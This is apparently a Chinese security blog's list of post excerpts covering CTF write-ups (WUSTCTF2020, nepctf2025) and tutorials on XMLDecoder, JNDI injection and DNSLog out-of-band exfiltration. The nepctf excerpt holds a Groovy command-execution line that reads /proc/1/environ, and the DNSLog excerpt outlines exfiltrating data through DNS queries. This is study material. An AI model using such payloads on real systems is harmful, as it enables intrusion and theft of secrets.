Post List
[WUSTCTF2020]爬
1. 修改成 pdf 文件后发现需要删除那个爬的文件:
我们 可以用 word 文档打开这个 pdf 文件删除:
0x77637466323032307b746831735f31735f405f7064665f616e645f7930755f63616e5f7573655f70686f7430736830707d
转换一下
more...
nepctf2025
def proc = this.class.classLoader.loadClass("java.lang.Runtime").getRuntime().exec("cat /proc/1/environ")
proc.text
more...
XMLDecoder/Encoder
# XMLDecoder/XMLEncoder
XMLDecoder/Encoder 是在 JDK1.4 版中添加的 XML 格式序列化持久型方案,可以比较使用 Json 格式序列化的 FastJson 库。
使用 XMLEncoder 来生成表示 JavaBeans 组件(bean)的 XML 文档,用 XMLDecoder 读取使用 XMLEncoder 创建的 XML 文档获取 JAVAbeans.
# XMLEncoder 示例
# 写入代码:
package XMLdecode;import javax.swing.*;import...
more...
JNDI注入原理及利用探究
# JNDI 注入原理及利用探究
# JNDI 是什么:
JNDI (Java Naming and Directory Interface) 是一个应用程序设计的 API,一种标准的 java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口 JNDI 服务供应接口(SPI)的实现,由管理者将 JNDIAPI 映射为特定的命名服务和目录系统,是的 java 应用程序可以和这些命名服务和目录服务之间进行交互。
通俗的来说就是若程序定义了 JNDI 的接口,就可以通过该接口 API 访问系统的命令服务和目录服务,如下图
这里主要探究的时 LADP,RMI,DNS...
more...
DNSLog外带总结复现
# DNSLog 外带复现
# DNS:
DNS 就是域名系统,负责把域名转换成 IP 地址;例如像浏览其访问 a.com,浏览器就会将其解析成真实的 IP 访问
# DNSlog:
DNS 的日志,DNS 在域名解析时会留下域名和解析 IP 的记录
# DNSLog 外带原理:
DNS 在解析是会留下日志,我们将信息放在高级域名中,传递到自己这里,然后通过读日志来获取信息。
所以这里跟最初的猜想基本一致,原理也就是通过 DNS 请求后,通过读取日志来获取我们的请求信息。
# mysql
# load_file 前置条件:
1. 首先有注入点
2. 需要有 root 权限
3....
more...